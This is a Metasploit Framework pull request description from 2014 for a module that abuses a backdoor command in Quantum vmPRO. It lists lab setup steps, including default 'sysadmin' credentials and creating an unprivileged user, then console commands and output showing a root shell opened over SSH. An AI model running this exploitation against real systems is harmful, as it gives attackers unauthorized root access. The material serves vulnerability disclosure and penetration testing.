rapid7/metasploit-framework — pull request #3108 by xistence (2014-03-17 07:20:37+00:00)
Title: Quantum vmPRO backdoor command

The following abuses a backdoor command in Quantum vmPRO which makes it possible for unprivileged users to
gain a remote root shell.

Download VM from http://forms.quantum.com/BigFiles/Quantum_vmPRO_312.zip

Deploy the ovf on a virtualization platform (tested on ESXi 5.1)
Login on http:// with login "sysadmin" and password "sysadmin"
configure -> users -> add user
User name: normaluser
Password: normaluser
Privilege: user
Save

exploit :)

msf exploit(vmpro) > set USER normaluser
USER => normaluser
msf exploit(vmpro) > set PASS normaluser
PASS => normaluser
msf exploit(vmpro) > exploit

[*] 192.168.2.131:22 - Attempt to login...
[+] 192.168.2.131:22 - Login Successful with 'normaluser:normaluser'
[*] Found shell.
[*] Command shell session 4 opened (192.168.2.130:53092 -> 192.168.2.131:22) at 2014-03-17 12:13:42 +0700

id
uid=0(root) gid=100(users) groups=0(root),100(users)